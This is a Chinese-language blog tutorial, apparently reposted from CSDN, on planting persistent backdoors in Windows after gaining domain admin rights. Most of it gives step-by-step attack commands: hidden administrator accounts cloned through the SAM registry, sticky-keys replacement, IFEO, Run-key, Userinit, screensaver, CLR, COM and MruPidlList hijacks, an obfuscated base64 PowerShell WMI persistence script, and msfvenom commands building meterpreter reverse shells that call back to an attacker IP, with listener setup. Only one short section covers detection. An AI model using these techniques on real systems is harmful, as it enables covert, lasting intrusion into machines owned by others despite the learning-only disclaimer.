windows操作系统常见持久性后门

作者: h0we777
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 简介

​ 当我们拿到域中最高权限之后,就需要将自己的权限进行巩固,进行权限持久化操作。

0x01 隐藏账户

1.1 测试系统

win 7

1.2 新建特殊账户

  • 在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限
net user whoami$ howe7 /add
net localgroup administrators whoami$ /add 

​ 注:创建的用户名必须以$符号结尾。

​ 添加后,该账户可在一定条件下隐藏,输入net user 无法获取信息,但是,在登录界面以及本地和组中却能够发现该账户。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-86p982LD-1634210651302)(media/1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dNqQw86U-1634210651304)(media/2.png)]

1.3 赋予注册表权限

​ 屏幕左下角开始 -> 点击运行,输入regedit打开注册表,打开HKEY_LOCAL_MACHINE -> SAM

-> SAM,一般情况下,sam里就有一个默认内容。在这个文件夹里右键 -> 权限 -> 组或用户名那里选择Administrators,允许完全控制。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WzdPwP4X-1634210651305)(media/3.png)]

​ 然后重启注册表,运行 -> regedit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E8s0FXdv-1634210651307)(media/4.png)]

1.4 导出注册表

​ 在SAM -> Domains -> User -> Names处,找到Administrator用户,在右边有一个默认的文件,类型为0x1f4。这个类型的1f4Administrator用户SID的结尾,即RID(在这里使用十六进制表示)。在Users文件夹里找到尾数是1f4的文件夹。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-urt7haic-1634210651308)(media/5.png)]

​ 点击000001F4文件夹,里面出现3个文件,我们需要复制F文件里的数值数据,如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U0HihoFX-1634210651309)(media/6.png)]

​ 用相同的方式找到新建的whoami$用户类型0x3e8所对应的文件夹。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-roAhPsIV-1634210651310)(media/7.png)]

​ 现在将000001F4的F值粘贴到000003E8的F值中,点击确定:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8zc53qZG-1634210651311)(media/8.png)]

​ 现在分别右键导出000003E8whoami$到桌面,导出文件分别为000003E8.regwhoami.reg

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZPq6keXG-1634210651312)(media/9.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pCvjOjG7-1634210651312)(media/10.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e5j28ybG-1634210651313)(media/11.png)]

1.5 删除特殊账户

​ 现在将whoami$账户删除

net user whoami$ /del

​ 重启注册表,打开没有了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6M1rBbIe-1634210651314)(media/12.png)]

1.6 导入reg文件

​ 将刚才导出的两个文件导入到注册表中:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMtyP3YL-1634210651314)(media/13.png)]

​ 这样我们的隐藏账户whoami,这个账户的,只有在注册表中才能看得到。不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami。

1.7 删除隐藏用户

​ 使用普通的账户删除命令是无法删除隐藏账户的,提示用户不属于此组

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-48Dy1uO1-1634210651315)(media/14.png)]

​ 只能在注册表里删除。

1.8 防御隐藏用户

  • 打开注册表的 [HKEY_LOCAL_MACHINE] 项,检查该项下的 [SAM\SAM\Domains\Account\Users] 是否有可疑账户。
  • 默认管理员权限无法查看注册表,需要分配权限或是提升至system权限
  • 隐藏账户的登录记录,可通过查看日志获取

0x02 Shift 粘滞键后门

2.1 简介

​ 在windows下连接按五次shift键,屏幕会弹出"粘滞键"的程序。粘滞键是为了一些没办法连按快捷键(如:ctrl+c , ctrl+v)组合的人设计的。shift键的存储位置在c:\windows\system32\sethc.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XvbeC8Um-1634210651316)(media/15.png)]

2.2 测试系统

windows 10

2.3 过程

  • shift键的存储位置在c:\windows\system32\sethc.exe,进入此路径,把sethc.exe重命名为sethc.exe.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ku7nYeL6-1634210651316)(media/16.png)]

注:提示需要trustedinstaller权限,trustedinstaller是一个安全机制,即系统的最高权限,权限比administrator管理员高,windows权限分为三种从低到高依次是user、administrator、system。而trustedinstaller比administrator高但没有system高,这么做的好处是避免了一些恶意软件修改系统文件的可能,坏处就是主机不能直接操作,所以这里需要更改权限。把权限更改为当前用户。

  • 修改权限需要右键sethc, 属性 -> 安全 -> 高级 -> 更改

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zi9ef8bZ-1634210651317)(media/17.png)]

  • 点击更改 -> 高级 -> 立即查找 -> Administrators -> 确定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MkQYaco2-1634210651318)(media/18.png)]

  • 确定后,所有者更改为Administrators后,点击确定,现在需要关闭后再打开(重启)“sethc.exe的高级安全设置”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aE6bihvK-1634210651318)(media/19.png)]

  • 重启后,点击更改权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lkB7CoIZ-1634210651319)(media/20.png)]

  • 点击Administrators用户 -> 编辑

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1sX7UEfB-1634210651319)(media/21.png)]

  • 点击完全控制 -> 确定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PLRPMHjH-1634210651320)(media/22.png)]

  • Administrators用户的访问权限已经更改,点击确定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tnM11KYE-1634210651321)(media/23.png)]

  • 再次打开sethc权限,看见Administratos已经可以完全控制sethc了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fVTP1sU3-1634210651321)(media/24.png)]

  • 现在先把sethc.exe更改为sethc.exe.txt。然后找到cmd.exe程序,就在c:\windows\system32\文件夹里复制cmd.exe并重命名为sethc.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5rRRhLvK-1634210651322)(media/25.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r18gUzyc-1634210651322)(media/26.png)]

  • 现在锁屏,直接按5下shift可以调出cmd了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rPbyvAD1-1634210651323)(media/27.png)]

2.4 小结

  • 完成粘滞键提权操作的必要步骤需要首先具有管理员权限。
  • 针对两种特殊情况很有用,分别是:有管理员权限但被限制在C盘;get到trustedinstaller权限,去提权到管理员权限。

0x03 映像劫持

3.1 简介

​ 简称"IFEO"(Image File Execution Options 其实应该称为"image Hijack"),是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大。默认是只有管理员和local system有权读写修改。

​ 简单来说就是当目标程序被映像劫持时,当我们启动目标程序时,启动对是劫持后的程序而不是原来的程序。

3.2 过程

  • 在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下添加一个sechc.exe项,然后在sethc.exe这个项添加debugger键,键值为恶意程序的路径。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u8Mtgio8-1634210651324)(media/28.png)]

​ 结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hHZ2ZKCh-1634210651324)(media/29.png)]

3.3 小结

​ 和shift后门差不多,只不过在低版本的windows中,可以简单的替换程序,但是在高版本的windows版本中替换的文件收到了系统的保护。

0x04 注册表自启动项

4.1 简介

​ MSF的persistence模块利用的就是写注册表自启动来实现的,一般自启动项是两个键:Run和RunOnce。这两者的区别如下:

  • Run:该项下的键值即为开机启动项,每一次随着开机而启动。
  • RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除。

4.2 常见注册表启动项键位置

  • 注册表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-95sC3Ykb-1634210651325)(media/71.png)]

  • 用户级
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • 系统级
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

4.3 过程

  • 进入入\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,在Run文件夹里右键新建字符串值(howe),右键字符串值(howe)点击修改,在数值数据里添加c:\windows\system32\cmd.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cfpuc6jd-1634210651325)(media/30.png)]

  • 现在重启或者注销账户,就会自动弹出cmd.exe框。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rr4YD4xN-1634210651326)(media/31.png)]

0x05 定时任务

5.1 简介

​ windows下定时任务的命令有两个,at和schtasks,他们两者的区别是:at命令在win7、8等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后天进程;schtasks是将定时的任务在前台执行。

5.2 at命令

  • 简介

​ at命令是windows自带的用于创建计划任务的命令,但是他主要工作在windows server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

​ 注:windows vista、windows server 2008及之后版本的操作系统废弃了at。

  • 参数
AT [\\computername] time [/INTERACTIVE]
    [ /EVERY:date[,...] | /NEXT:date[,...]] "command"
  • 示例
at [电脑时间] [电脑程序]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6zimyup-1634210651326)(media/32.png)]

5.3 schtasks命令

  • 简介

​ schtasks命令代替了at命令,比at命令更灵活、自由。

  • 参数
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
  • 利用schtasks创建后门大致流程
首先,在目标主机上传metasploit生成的后门程序。
然后,在目标主机上创建一个计划任务。
  • 示例
schtasks /create /tn test /tr calc.exe /sc minute /mo 1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wOHWq9sw-1634210651327)(media/33.png)]

0x06 用户登录初始化

6.1 简介

​ userinit的作用是用户在进行登录初始化设置时,winlogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加要执行的程序。

6.2 过程

  • 运行 -> regedit ,打开注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zeI8mkTI-1634210651328)(media/34.png)]

  • 右键修改Userinit,在数值数据里添加一个启动程序c:\windows\system32\cmd.exe。注:多个程序用逗号隔开。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zw7iRwDt-1634210651328)(media/35.png)]

  • 重启或注销用户,进入桌面自动弹出cmd.exe程序

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xMbpEous-1634210651329)(media/36.png)]

0x07 Logon Scripts

7.1 简介

​ Logon svripts优先于av先执行,我们可以利用这一点来绕过av的敏感操作拦截。

7.2 过程

  • 运行 -> regedit ,打开注册表路径:HKEY_CURRENT_USER\Environment

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xVjWhvon-1634210651330)(media/37.png)]

  • 在这里创建一个键为:UserInitMprLogonScript(这里只能使用这个键名)。其键值为要启动的程序路径c:\windows\system32\cmd.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IFsNIoGg-1634210651331)(media/39.png)]

  • 重启或注销账户,查看效果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mCwX1OXs-1634210651332)(media/40.png)]

0x08 屏幕保护程序

8.1 简介

​ 屏幕保护是windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序使具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

8.2 开启屏幕保护程序

  • 通过左下角的电脑搜索,搜索屏幕保护。点击"启用或关闭屏幕保护程序"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f40CxWLf-1634210651332)(media/41.png)]

  • 开启屏幕保护程序,随便点击一个图形,点击应用 -> 确定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eKVreAU1-1634210651333)(media/42.png)]

  • 打开注册表路径:HKEY_CURRENT_USER\Control Panel\Desktop,查看是否打开屏幕保护程序

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-333bbMRy-1634210651334)(media/43.png)]

8.3 过程

​ 在对方开启屏幕保护的情况下,我们可以修改屏保程序为恶意程序从而达到后门持久化的目的。其中屏幕保护的配置存储在注册表中,其位置为:HKEY_CURRENT_USER\Control Panel\Desktop,关键键如下:

- SCRNSAVE.EXE :默认屏幕保护程序,可以把这个键值改为恶意程序。
- ScreenSaveActive - 1 :表示屏幕保护是启动状态,0表示屏幕保护是关闭状态。
- ScreenSaverTimeoiut : 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)
  • 复制粘贴一个SCRNSAVE.EXE程序,再把原SCRNSAVE.EXE程序重命名为SCRNSAVE.EXE.txt,修改SCRNSAVE.EXE程序的数值数据为C:\Windows\system32\calc.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qKMxEN5N-1634210651334)(media/44.png)]

  • 等屏幕保护时间到后自动探测calc.exe程序,查看效果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nsyrwzPF-1634210651335)(media/45.png)]

0x09 自启动服务

9.1 简介

​ 自启动服务一般是在电脑启动后在后台默认或者加载指定的服务程序,可以将exe应用程序注册为服务,也可以将dll文件注册为服务。

9.2 测试系统

攻击机:kali
靶机:win 7

9.3 过程

  • kali使用msf生成远控文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f exe -o /home/howe7/howe.exe
lhost:攻击者ip
lport:攻击者port

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-arR4Ptj3-1634210651336)(media/49.png)]

  • 把msf生成的exe文件扔给win7的c盘中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YMbzWGeZ-1634210651336)(media/63.png)]

  • 在kali的msf中使用handler模块
use exploit/multi/handler

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bnumt7yD-1634210651337)(media/47.png)]

  • 设置攻击负载
set payload windows/x64/meterpreter/reverse_tcp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2RT7qRkT-1634210651338)(media/48.png)]

  • 设置本地监听ip和端口
set LHOST 192.168.69.12 (设置kali的IP,可以在kali的端口使用ifconfig查询)
set LPORT 4444
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BoHeSOA0-1634210651338)(media/50.png)]

  • 使用以下命令将会在目标主机上以meterpreter的服务形式注册在服务列表中,并开机自动启动。
run metsvc -A  (自动安装后门)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3YHWRZEG-1634210651339)(media/51.png)]

  • 运行之后会在C:\Users\Howe-7\AppData\Local\Temp\目录下创建一个随机的文件夹jwbKSmLVtKj,然后在该文件夹里生成以下三个文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTGMbnoE-1634210651339)(media/64.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PofCiY6m-1634210651340)(media/52.png)]

0x10 waitfor

10.1 简介

​ 在系统上发送或等待信号。waitfor可用于跨网络同步计算机。不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe。

10.2 语法

waitfor [/s <Computer> [/u [<Domain>\]<User> [/p [<Password>]]]] /si <SignalName>
waitfor [/t <Timeout>] <SignalName>

/s <Computer>  指定远程计算机的名称或IP地址,默认为本地计算机
/u [<Domain>]<user>    使用指定用户帐户的凭据运行脚本。默认是使用当前用户的凭据。
/p <Password>  指定/u参数中指定的用户帐户的密码。
/si            发送指定激活信号。
/t             指定等待信号的秒数。默认为无限期等待。 
<SignalName>    指定等待或发送的信号,不区分大小写,长度不能超过225个字符

10.3 更多信息

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor

10.4 过程

  • 测试系统
windows 7
windows 2012
  • 先打开win7的运行 -> 输入cmd.exe ,在命令提示符里输入以下命令
waifor test && calc.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jU2GrUNw-1634210651341)(media/53.png)]

  • 然后在windows server 2012的命令提示符里输入以下命令
waitfor /s 192.168.xx.xx /u (win7用户名) /s (win7密码) /si test

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dlg0SCiy-1634210651341)(media/54.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BBEPoel9-1634210651342)(media/55.png)]

  • 这样只能执行一次,可以使用以下脚本让它持久化
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

​ 该方法的优点就是能主动激活,但是缺点也明显:只能在同一网段才能接收和发送激活信息,服务器重启后就不行了。

0x11 CLR劫持

11.1 简介

​ CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR的核心功能包括:内存管理、程序集加载、安全性、异常处理和线程同步,可由面向CLR的所有语言使用。并保证应用和底层操作系统之间必要的分离。CLR是.NET Framework的主要执行引擎。需要注意的是CLR能够劫持系统中全部.net程序,而且系统默认会调用.net程序,从而导致我们的后门自动触发。

11.2 过程

  • 测试系统
攻击机:kali
靶机:win 7
  • 在win7的cmd.exe中创建用户环境变量命令
	SETX COR_ENABLE_PROFILING 1 
	SETX COR_PROFILER {AABBCCDD-1234-1234-1234-AABBCCDDEEFF}			
	#{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 为 CLSID

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-knbeW6SC-1634210651342)(media/56.png)]

  • 修改注册表的路径为
HKEY_CURRENT_USER\Software\Classes\CLSID
  • 使用以下命令创建注册表,重启注册表编辑器
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\howe.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zsg4kTvo-1634210651343)(media/58.png)]

  • 在kali中使用msfvenom生成dll payload
	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f dll > howe.dll
	 LHOST = (攻击机的IP地址)
	 LPORT = (攻击机的开启端口)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GQe7Znk6-1634210651343)(media/57.png)]

  • 在kali的文件夹里找到创建的howe.dll文件,把它放进win7系统的C盘里,再重启win7

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0iWqLvxx-1634210651344)(media/59.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rj0XOMPG-1634210651344)(media/60.png)]

  • 回到kali,使用metasploit设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set AutoRunScript migrate -f   (自动迁移进程)
set lhost 192.168.69.12
set lport 4444
options
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MfSXuT6c-1634210651345)(media/61.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VzFaoBOb-1634210651346)(media/62.png)]

0x12 COM劫持

12.1 简介

​ COM是Component Object Model(组件对象模型)的缩写,它是微软的一套软件组件的二进制接口标准。这使得跨编程语言的进程间通信、动态对象创建成为可能。COM是多项微软技术与框架的基础,包括OLE、OLE自动化、ActiveX、COM+、DCOM、Windows shell、DirectX、Windows Runtime。

​ COM劫持主要通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。

12.2 原理

当进程寻找com组件时,首先会寻找:
HKCU\Software\Classes\CLSID
我们直接在CLSID下面新建一个对象ID,就能够劫持某个进程或多个进程
与dll劫持原理相近,但是com组件的劫持可以拓展很多东西,劫持的目标不一定是一个进程,劫持所需的文件不一定是一个dll,
他可以是一个 .com文件、二进制PE文件、Dll文件、劫持的目标也可以是一个Window API

12.3 读取顺序

HKEY_CURRENT_USER\Software\Classes\CLSID
HKEY_CLASSES_ROOT\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

12.4 过程

  • 测试环境
攻击机:kali
靶机:win 7
  • 在win7的cmd.exe中创建用户环境变量命令
	SETX COR_ENABLE_PROFILING 1 
	SETX COR_PROFILER {aaaabbbb-1111-2222-3333-777777777777}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5rHLlKPM-1634210651346)(media/65.png)]

  • 使用以下命令创建注册表,重启注册表编辑器
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{aaaabbbb-1111-2222-3333-777777777777}\InProcServer32" /VE /T REG_SZ /D "C:\777.exe" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{aaaabbbb-1111-2222-3333-777777777777}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PYNQ16qC-1634210651347)(media/66.png)]

  • 在kali中使用msfvenom生成exe payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f exe > 777.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b3rnPR7G-1634210651348)(media/67.png)]

  • 在kali的文件夹里找到创建的howe.dll文件,把它放进win7系统的C盘

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-de9HOwHO-1634210651348)(media/68.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JX82WGUd-1634210651349)(media/69.png)]

  • 使用以下命令来劫持
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.69.12
set lport 4444
options
set session 1
run
shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cas7S8AR-1634210651350)(media/70.png)]

0x13 MruPidlList 劫持

13.1 简介

​ 这是一种主动的后门触发方式,只要对方主机重启机器的操作,就会触发之前设置的dll。系统在启动时默认启动进程explorer.exe,如果劫持了COM对象MruPidList,就能劫持进程explorer.exe,实现后门随系统开机启动,相当于时主动后门。而劫持MruPidlList劫持注册表中的一个{42aedc87-2188-41fd-b9a3-0c966feabec1}CLSID,将其带键值换成恶意dll即可。

13.2 过程

  • 测试环境
攻击机:kali
靶机:win 7
  • 更改注册表劫持MruPidlList
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "c:\calc.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DH0JNoI0-1634210651350)(media/72.png)]

  • 在kali中使用msfvenom生成dll payload
	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f dll > calc.dll
	 LHOST = (攻击机的IP地址)
	 LPORT = (攻击机的开启端口)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YUqy6n6-1634210651351)(media/73.png)]

  • 在kali的文件夹里找到创建的calc.dll文件,把它放进win7系统的C盘

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l2206foG-1634210651351)(media/74.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MYapLiYr-1634210651352)(media/75.png)]

  • 通过以下命令来劫持
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.69.12
set lport 4444
options
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9vPQ9Vv7-1634210651352)(media/77.png)]

  • 该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发dll文件。重启或结束explorer.exe后新开启一个explorer.exe,恶意dll被加载。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FkxCvHCU-1634210651353)(media/76.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZZHA1Pwt-1634210651353)(media/78.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bwdTO2Oo-1634210651354)(media/79.png)]

0x14 总结

​ windows操作系统的持久化后门还有很多,我只是学习了一小部分基础,如有不对的地方,请各位师傅指正!

0x15 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42282189/article/details/120770787
今日推荐